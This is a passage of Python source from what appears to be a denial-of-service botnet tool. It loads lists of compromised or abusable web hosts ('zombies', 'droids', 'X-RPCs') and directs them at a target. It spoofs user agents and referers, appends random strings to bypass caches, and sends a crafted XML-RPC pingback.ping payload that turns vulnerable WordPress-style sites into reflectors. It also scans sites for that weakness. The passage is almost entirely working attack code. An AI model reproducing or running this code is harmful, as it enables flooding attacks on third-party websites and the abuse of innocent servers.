  3357. if target.startswith('http://'): # remove http
  3358. target = target.replace('http://', '')
  3359. if target.startswith('https://'):
  3360. target = target.replace('https://', '') # remove https
  3361. options = self.options
  3362. shuffle(droids) # shuffle droids
  3363. if not self.options.disablepurge:
  3364. for droid in droids:
  3365. if not droid.startswith('http'): # discarded inmediately
  3366. self.discard_droids.append(droid)
  3367. self.num_discard_droids = self.num_discard_droids + 1
  3368. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  3369. if not self.options.disablepurge:
  3370. if not droids: # return when not any working
  3371. self.options.disabledroids = True
  3372. return
  3373. shuffle(droids) # shuffle droids order, each discarding check :-)
  3374. for droid in droids:
  3375. name_droid = None
  3376. if "$TARGET" in droid: # replace droid/parameter for target
  3377. url = droid.replace("$TARGET", target)
  3378. t = urlparse(url)
  3379. name_droid = t.netloc
  3380. if name_droid == "":
  3381. name_droid = droid
  3382. print("[Info] [Droids] Attacking from: " + name_droid)
  3383. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3384. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  3385. try:
  3386. if options.proxy: # set proxy
  3387. self.proxy_transport(options.proxy)
  3388. if self.options.timeout: # set timeout
  3389. try:
  3390. droid_timeout = int(self.options.timeout)
  3391. except:
  3392. droid_timeout = 5
  3393. else:
  3394. droid_timeout = 5
  3395. if droid_timeout < 1:
  3396. droid_timeout = 5
  3397. req = urllib.request.Request(url, None, headers)
  3398. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  3399. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  3400. except Exception:
  3401. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  3402. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3403. if not self.options.disablepurge:
  3404. self.discard_droids.append(droid)
  3405. self.num_discard_droids = self.num_discard_droids + 1
  3406. else:
  3407. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  3408. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3409. if not self.options.disablepurge:
  3410. self.discard_droids.append(droid)
  3411. self.num_discard_droids = self.num_discard_droids + 1
  3412. if self.options.verbose:
  3413. if name_droid:
  3414. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  3415. else:
  3416. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  3417. if self.options.disablerpcs and self.options.disableucavs:
  3418. self.extra_zombies_lock = False # [ARMY] have finished
  3419. def extract_droids(self):
  3420. # extract droids from file
  3421. options = self.options
  3422. try:
  3423. f = open(self.droids_file)
  3424. droids = f.readlines()
  3425. droids = [ droid.replace('\n','') for droid in droids ]
  3426. f.close()
  3427. if not droids:
  3428. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3429. self.options.disabledroids = True
  3430. return
  3431. else:
  3432. return droids
  3433. except:
  3434. if os.path.exists(self.droids_file) == True:
  3435. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3436. return #sys.exit(2)
  3437. else:
  3438. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3439. return #sys.exit(2)
  3440. def discarding_rpcs(self, rpc, rpcs):
  3441. if rpc in self.discard_rpcs:
  3442. rpcs.remove(rpc)
  3443. if self.options.verbose:
  3444. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  3445. return rpcs
  3446. def send_rpcs(self, rpcs):
  3447. # extract vulnerable XML-RPC pingback services and perform requests against target
  3448. time.sleep(4) # aiming (multi-threading flow time compensation)
  3449. if not self.options.disablepurge:
  3450. if not rpcs: # return when not any working
  3451. self.options.disablerpcs = True
  3452. return
  3453. target = self.options.target
  3454. options = self.options
  3455. def random_key(length):
  3456. key = ''
  3457. for i in range(length):
  3458. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  3459. return key
  3460. shuffle(rpcs) # shuffle rpcs
  3461. if not self.options.disablepurge:
  3462. for rpc in rpcs:
  3463. if not rpc.startswith('http'): # discarded inmediately
  3464. if not self.options.disablepurge:
  3465. self.discard_rpcs.append(rpc)
  3466. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3467. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3468. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  3469. if not self.options.disablepurge:
  3470. if not rpcs: # return when not any working
  3471. self.options.disablerpcs = True
  3472. return
  3473. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  3474. for rpc in rpcs:
  3475. t = urlparse(rpc)
  3476. name_rpc = t.netloc
  3477. if name_rpc == "":
  3478. name_rpc = rpc
  3479. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  3480. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3481. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3482. key = random_key(8) # generate random value page to bypass cache
  3483. rpc_page = "?" + str(key)
  3484. key = random_key(6) # re-generate random value id to bypass cache
  3485. rpc_id = "=" + str(key)
  3486. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  3487. if "/xmlrpc.php" in rpc:
  3488. rpc_place = rpc.replace("xmlrpc.php", "")
  3489. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  3490. try:
  3491. if options.proxy: # set proxy
  3492. self.proxy_transport(options.proxy)
  3493. if self.options.timeout: # set timeout
  3494. try:
  3495. rpc_timeout = int(self.options.timeout)
  3496. except:
  3497. rpc_timeout = 5
  3498. else:
  3499. rpc_timeout = 5
  3500. if rpc_timeout < 1:
  3501. rpc_timeout = 5
  3502. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  3503. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  3504. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  3505. if self.options.verbose:
  3506. print("[Info] [X-RPCs] Reply:", target_reply)
  3507. except:
  3508. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  3509. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3510. if not self.options.disablepurge:
  3511. self.discard_rpcs.append(rpc)
  3512. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3513. else:
  3514. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  3515. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3516. if not self.options.disablepurge:
  3517. self.discard_rpcs.append(rpc)
  3518. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3519. if self.options.verbose:
  3520. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  3521. if self.options.disableucavs:
  3522. self.extra_zombies_lock = False # [ARMY] have finished
  3523. def extract_rpcs(self):
  3524. # extract rpcs from file
  3525. options = self.options
  3526. try:
  3527. f = open(self.rpcs_file)
  3528. rpcs = f.readlines()
  3529. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  3530. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  3531. f.close()
  3532. if not rpcs:
  3533. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3534. self.options.disablerpcs = True
  3535. return
  3536. else:
  3537. return rpcs
  3538. except:
  3539. if os.path.exists(self.rpcs_file) == True:
  3540. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3541. return
  3542. else:
  3543. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  3544. return
  3545. def extract_ntps(self):
  3546. # extract ntps from file
  3547. options = self.options
  3548. try:
  3549. f = open(self.ntps_file)
  3550. ntps = f.readlines()
  3551. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  3552. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  3553. f.close()
  3554. if not ntps:
  3555. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3556. return
  3557. else:
  3558. return ntps
  3559. except:
  3560. if os.path.exists(self.ntps_file) == True:
  3561. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3562. return
  3563. else:
  3564. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntps.txt' [Discarding!]")
  3565. return
  3566. def extract_dnss(self):
  3567. # extract dnss from file
  3568. options = self.options
  3569. try:
  3570. f = open(self.dnss_file)
  3571. dnss = f.readlines()
  3572. dnss = [ dns.replace('\r','') for dns in dnss ]
  3573. dnss = [ dns.replace('\n','') for dns in dnss ]
  3574. f.close()
  3575. if not dnss:
  3576. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3577. return
  3578. else:
  3579. return dnss
  3580. except:
  3581. if os.path.exists(self.dnss_file) == True:
  3582. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3583. return
  3584. else:
  3585. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dnss.txt' [Discarding!]")
  3586. return
  3587. def extract_zombies(self):
  3588. options = self.options
  3589. if self.options.test:
  3590. try:
  3591. f = open(options.test)
  3592. zombies = f.readlines()
  3593. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3594. f.close()
  3595. if not zombies:
  3596. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3597. return
  3598. else:
  3599. return zombies
  3600. except:
  3601. if os.path.exists(options.test) == True:
  3602. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3603. return #sys.exit(2)
  3604. else:
  3605. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3606. return #sys.exit(2)
  3607. else:
  3608. try:
  3609. f = open(self.zombies_file)
  3610. zombies = f.readlines()
  3611. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3612. f.close()
  3613. if not zombies:
  3614. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3615. return
  3616. else:
  3617. return zombies
  3618. except:
  3619. if os.path.exists(self.zombies_file) == True:
  3620. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3621. return #sys.exit(2)
  3622. else:
  3623. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3624. return #sys.exit(2)
  3625. def extract_target_list(self):
  3626. options = self.options
  3627. try:
  3628. f = open(options.target_list)
  3629. targets = f.readlines()
  3630. targets = [ target.replace('\n','') for target in targets ]
  3631. f.close()
  3632. if not targets:
  3633. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3634. return
  3635. else:
  3636. return targets
  3637. except:
  3638. if os.path.exists(options.target_list) == True:
  3639. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3640. return #sys.exit(2)
  3641. else:
  3642. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3643. return #sys.exit(2)
  3644. def update_zombies(self, zombies_ready):
  3645. # update zombies on file
  3646. options = self.options
  3647. if options.attackme:
  3648. f = open(self.zombies_file, "w") # re-write list
  3649. for zombie in self.doll.real_zombies: # add only alien verified zombies
  3650. for x in zombie:
  3651. f.write(str(x) + os.linesep)
  3652. f.close()
  3653. if options.test or options.testall:
  3654. if not options.test:
  3655. options.test = self.zombies_file
  3656. f = open(options.test, "w") # re-write list only with zombies ready
  3657. for zombie in zombies_ready:
  3658. f.write(zombie + os.linesep)
  3659. f.close()
  3660. if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)
  3661. f = open(self.zombies_file)
  3662. zombies_on_file = f.read().splitlines()
  3663. with open(self.zombies_file, "a") as zombie_list:
  3664. for zombie in zombies_ready:
  3665. if zombie not in zombies_on_file: # parse possible repetitions
  3666. zombie_list.write(zombie + os.linesep)
  3667. if options.download or options.download_github:
  3668. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3669. else:
  3670. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  3671. f.close()
  3672. def update_aliens(self, aliens_ready):
  3673. # update aliens on file
  3674. options = self.options
  3675. if options.download or options.download_github: # append only new aliens to list
  3676. f = open(self.aliens_file)
  3677. aliens_on_file = f.read().splitlines()
  3678. with open(self.aliens_file, "a") as alien_list:
  3679. for alien in aliens_ready:
  3680. if alien not in aliens_on_file: # parse possible repetitions
  3681. alien_list.write(alien + os.linesep)
  3682. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3683. f.close()
  3684. def update_droids(self, droids_ready):
  3685. # update droids on file
  3686. options = self.options
  3687. if options.download or options.download_github: # append only new droids to list
  3688. f = open(self.droids_file)
  3689. droids_on_file = f.read().splitlines()
  3690. with open(self.droids_file, "a") as droid_list:
  3691. for droid in droids_ready:
  3692. if droid not in droids_on_file: # parse possible repetitions
  3693. droid_list.write(droid + os.linesep)
  3694. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3695. f.close()
  3696. def update_ucavs(self, ucavs_ready):
  3697. # update ucavs on file
  3698. options = self.options
  3699. if options.download or options.download_github: # append only new ucavs to list
  3700. f = open(self.ucavs_file)
  3701. ucavs_on_file = f.read().splitlines()
  3702. with open(self.ucavs_file, "a") as ucav_list:
  3703. for ucav in ucavs_ready:
  3704. if ucav not in ucavs_on_file: # parse possible repetitions
  3705. ucav_list.write(ucav + os.linesep)
  3706. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3707. f.close()
  3708. def update_rpcs(self, rpcs_ready):
  3709. # update rpcs on file
  3710. options = self.options
  3711. if options.testrpc or options.testall:
  3712. f = open(self.rpcs_file, "w") # re-write list
  3713. for rpc in rpcs_ready: # add only rpc verified zombies
  3714. f.write(rpc + os.linesep)
  3715. f.close()
  3716. if options.download or options.download_github: # append only new rpcs to list
  3717. f = open(self.rpcs_file)
  3718. rpcs_on_file = f.read().splitlines()
  3719. with open(self.rpcs_file, "a") as rpc_list:
  3720. for rpc in rpcs_ready:
  3721. if rpc not in rpcs_on_file: # parse possible repetitions
  3722. rpc_list.write(rpc + os.linesep)
  3723. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3724. f.close()
  3725. def update_dnss(self, dnss_ready):
  3726. # update dns on file
  3727. options = self.options
  3728. if options.download or options.download_github: # append only new dns to list
  3729. f = open(self.dnss_file)
  3730. dnss_on_file = f.read().splitlines()
  3731. with open(self.dnss_file, "a") as dns_list:
  3732. for dns in dnss_ready:
  3733. if dns not in dnss_on_file: # parse possible repetitions
  3734. dns_list.write(dns + os.linesep)
  3735. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3736. f.close()
  3737. def update_ntps(self, ntps_ready):
  3738. # update ntps on file
  3739. options = self.options
  3740. if options.download or options.download_github: # append only new ntps to list
  3741. f = open(self.ntps_file)
  3742. ntps_on_file = f.read().splitlines()
  3743. with open(self.ntps_file, "a") as ntp_list:
  3744. for ntp in ntps_ready:
  3745. if ntp not in ntps_on_file: # parse possible repetitions
  3746. ntp_list.write(ntp + os.linesep)
  3747. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3748. f.close()
  3749. def search_rpc(self, rpc_host):
  3750. options = self.options
  3751. rpc_vulnerable = False
  3752. rpc_pingback_url = False
  3753. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3754. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3755. try:
  3756. if self.options.testall: # testing_all
  3757. if options.proxy: # set proxy
  3758. self.proxy_transport(options.proxy)
  3759. req = urllib.request.Request(rpc_host, None, headers)
  3760. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3761. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3762. for link in rpc_links:
  3763. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3764. rpc_pingback_url = link[0]
  3765. rpc_vulnerable = True
  3766. break # found it!
  3767. else: # not any XML-RPC discovering methods are working
  3768. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3769. rpc_vulnerable = False
  3770. else:
  3771. if rpc_host.startswith("http://"):
  3772. rpc_host = rpc_host.replace("http://", "")
  3773. if rpc_host.startswith("https://"):
  3774. rpc_host = rpc_host.replace("https://", "")
  3775. rpc_host = urlparse(rpc_host)
  3776. rpc_path = rpc_host.path.replace("\r", "")
  3777. self.head = True # send HTTP HEAD request searching for: X-Pingback
  3778. reply = self.connect_zombie(rpc_path)
  3779. self.head = False
  3780. if "X-Pingback" in reply: # discovering pingback-enabled resources
  3781. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  3782. rpc_pingback_url = m.group(1) # extract rpc server url
  3783. rpc_vulnerable = True
  3784. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  3785. if options.proxy: # set proxy
  3786. self.proxy_transport(options.proxy)
  3787. req_rpc = urllib.request.Request(rpc_host, None, headers)
  3788. req_rpc.get_method = lambda : 'GET'
  3789. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  3790. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3791. for link in rpc_links:
  3792. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3793. rpc_pingback_url = link[0]
  3794. rpc_vulnerable = True
  3795. break # found it!
  3796. else: # not any XML-RPC discovering methods are working
  3797. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3798. rpc_vulnerable = False
  3799. except: # something wrong discovering XML-RPC Pingback
  3800. pass
  3801. return rpc_vulnerable, rpc_pingback_url
  3802. def testing_offline(self):
  3803. # check for zombies offline
  3804. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  3805. print('='*35)
  3806. zombies_online = 0
  3807. zombies_offline = 0
  3808. zombies = self.extract_zombies()
  3809. rpcs = self.extract_rpcs()
  3810. aliens = self.extract_aliens()
  3811. droids = self.extract_droids()
  3812. ucavs = self.extract_ucavs()
  3813. try:
  3814. botnet = zombies + rpcs + aliens + droids + ucavs
  3815. except:
  3816. return
  3817. discarded = [] # for discarded zombies
  3818. if not botnet:
  3819. return
  3820. self.head = True
  3821. for zombie in botnet:
  3822. zombie = str(zombie)
  3823. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3824. zombie_type = 'Zombie'
  3825. elif zombie in rpcs:
  3826. zombie_type = 'XML-RPC'
  3827. elif zombie in aliens:
  3828. zombie_type = 'Alien'
  3829. elif zombie in droids:
  3830. zombie_type = 'Droid'
  3831. elif zombie in ucavs:
  3832. zombie_type = 'UCAV'
  3833. t = urlparse(zombie)
  3834. name_zombie = t.netloc
  3835. if name_zombie == "":
  3836. name_zombie = zombie
  3837. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3838. sep = ';$POST;'
  3839. zombie = zombie.split(sep, 1)[0]
  3840. try:
  3841. reply = str(self.connect_zombie(zombie))
  3842. except:
  3843. reply = None
  3844. if reply:
  3845. if reply == "200" or reply == "301" or reply == "302":
  3846. status = "ONLINE! -> [OK!]"
  3847. else:
  3848. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  3849. zombies_online = zombies_online + 1
  3850. else:
  3851. status = "NOT Working!"
  3852. zombies_offline = zombies_offline + 1
  3853. print("\nName:", name_zombie)
  3854. print("Type: [", zombie_type, "]")
  3855. print("Vector:", zombie)
  3856. print("HTTP Code: [", reply, "]")
  3857. print("STATUS:", status)
  3858. print('-'*21)
  3859. if status == "NOT Working!": # add to discarded zombies
  3860. if zombie not in discarded:
  3861. discarded.append(zombie)
  3862. print("\n" + '='*52)
  3863. print("\n+ Total Botnet:", len(botnet))
  3864. print("\n" + '-'*25 + "\n")
  3865. print(" - ONLINE:", zombies_online)
  3866. print(" - OFFLINE:", zombies_offline, "\n")
  3867. print('='*52 + '\n')
  3868. self.head = False
  3869. if zombies_offline > 0:
  3870. if not self.options.forceyes:
  3871. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  3872. print('-'*25 + "\n")
  3873. else:
  3874. test_reply = "Y"
  3875. if test_reply == "n" or test_reply == "N":
  3876. print("[AI] "+self.exit_msg+"\n")
  3877. return
  3878. else:
  3879. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3880. print('='*52)
  3881. print("\n - DISCARDED:", disc_zombies)
  3882. new_botnet = int(len(botnet) - disc_zombies)
  3883. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  3884. print('='*52 + '\n')
  3885. else:
  3886. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  3887. def send_extra_zombies(self):
  3888. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3889. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3890. if self.options.verbose:
  3891. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  3892. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3893. for a in aliens:
  3894. if a is None:
  3895. self.options.disablealiens = True
  3896. self.total_aliens = 0 # not any alien invoked
  3897. else:
  3898. for s in a: # extract number of aliens
  3899. self.total_aliens = self.total_aliens + 1
  3900. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3901. al.start()
  3902. else:
  3903. self.options.disablealiens = True
  3904. self.total_aliens = 0 # not any alien invoked
  3905. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3906. if self.options.verbose:
  3907. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  3908. droids = [self.extract_droids()] # extract droids from file to a list
  3909. for d in droids:
  3910. if d is None:
  3911. self.options.disabledroids = True
  3912. self.total_droids = 0 # not any droid invoked
  3913. else:
  3914. for s in d: # extract number of droids
  3915. self.total_droids = self.total_droids + 1
  3916. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3917. dr.start()
  3918. else:
  3919. self.options.disabledroids = True
  3920. self.total_droids = 0 # not any droid invoked
  3921. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3922. if self.options.verbose:
  3923. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  3924. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3925. for r in rpcs:
  3926. if r is None:
  3927. self.options.disablerpcs = True
  3928. self.total_rpcs = 0 # not any rpc invoked
  3929. else:
  3930. for s in r: # extract number of rpcs
  3931. self.total_rpcs = self.total_rpcs + 1
  3932. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3933. rp.start()
  3934. else:
  3935. self.options.disablerpcs = True
  3936. self.total_rpcs = 0 # not any rpcs invoked
  3937. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3938. if self.options.verbose:
  3939. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  3940. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3941. for u in ucavs:
  3942. if u is None:
  3943. self.options.disableucavs = True
  3944. self.total_ucavs = 0 # not any ucav invoked
  3945. else:
  3946. for s in u: # extract number of ucavs
  3947. self.total_ucavs = self.total_ucavs + 1
  3948. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3949. uc.start()
  3950. else:
  3951. self.options.disableucavs = True
  3952. self.total_ucavs = 0 # not any ucavs invoked
  3953. def abandoning_zombies(self):
  3954. if self.options.expire: # set timing for purge
  3955. try:
  3956. timing = int(self.options.expire)
  3957. except:
  3958. timing = self.expire_timing # default timing for purge
  3959. else:
  3960. timing = self.expire_timing # default timing for purge
  3961. if timing < 1:
  3962. timing = self.expire_timing # default timing for purge
  3963. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3964. zombies_lock = 0
  3965. if self.options.verbose:
  3966. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  3967. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  3968. zombies_lock = zombies_lock + 1
  3969. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3970. if self.options.verbose:
  3971. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  3972. break
  3973. else:
  3974. time.sleep(1)
  3975. def discard_zombies(self, discarded):
  3976. disc_zombies = 0
  3977. if self.options.testoffline:
  3978. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  3979. else:
  3980. zombies_list = [self.zombies_file]
  3981. if not self.options.disablealiens: # add aliens
  3982. zombies_list.append(self.aliens_file)
  3983. if not self.options.disabledroids: # add droids
  3984. zombies_list.append(self.droids_file)
  3985. if not self.options.disablerpcs: # add rpcs
  3986. zombies_list.append(self.rpcs_file)
  3987. if not self.options.disableucavs: # add ucavs
  3988. zombies_list.append(self.ucavs_file)
  3989. for l in zombies_list:
  3990. f = open(l, "r+")
  3991. d = f.readlines()
  3992. f.close()
  3993. f = open(l, "w")
  3994. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  3995. f.close()
  3996. return disc_zombies
  3997. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  3998. m = []
  3999. for zombie in d:
  4000. if zombie not in discarded == True:
  4001. m.append(zombie) # save it
  4002. else:
  4003. disc_zombies = disc_zombies + 1
  4004. if not m:
  4005. f.write("")
  4006. else:
  4007. for z in m:
  4008. f.write(z+os.linesep)
  4009. return disc_zombies
  4010. def parse_url_encoding(self, target):
  4011. t = urlparse(target)
  4012. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  4013. path = urllib.parse.quote(t.path.encode('utf-8'))
  4014. query = urllib.parse.quote(t.query.encode('utf-8'))
  4015. if query:
  4016. if path.endswith(""):
  4017. path.replace("", "/")
  4018. query = urllib.parse.quote(t.query.encode('utf-8'))
  4019. target = t.scheme+"://"+host + path + "?" + query
  4020. else:
  4021. target = t.scheme+"://"+host + path
  4022. return target
  4023. def testing_rpcs(self, rpcs):
  4024. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  4025. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  4026. options = self.options
  4027. if self.options.testall: #testing_all
  4028. print('='*51)
  4029. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  4030. print('='*51)
  4031. num_active_rpcs = 0
  4032. num_failed_rpcs = 0
  4033. rpcs_ready = []
  4034. print("Trying:", len(rpcs))
  4035. print('-'*21)
  4036. for rpc in rpcs:
  4037. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4038. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4039. if rpc.startswith("http://") or rpc.startswith("https://"):
  4040. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  4041. rpc_host = rpc.replace("/xmlrpc.php", "")
  4042. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  4043. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  4044. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  4045. try:
  4046. if options.proxy: # set proxy
  4047. self.proxy_transport(options.proxy)
  4048. try:
  4049. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  4050. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4051. except:
  4052. if DEBUG == True:
  4053. traceback.print_exc()
  4054. if self.options.verbose:
  4055. print("[Info] [X-RPCs] Reply:", target_reply)
  4056. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  4057. print("[Info] [AI] -> [VULNERABLE!]")
  4058. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  4059. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  4060. else:
  4061. print("[Info] [AI] -> [NOT vulnerable...]")
  4062. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4063. except:
  4064. print("[Info] [AI] -> [NOT vulnerable...]")
  4065. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4066. else:
  4067. print("[Info] [AI] -> [NOT vulnerable...]")
  4068. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4069. print('-'*21)
  4070. print('='*18)
  4071. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  4072. print('='*18)
  4073. if self.options.testall: # testing_all
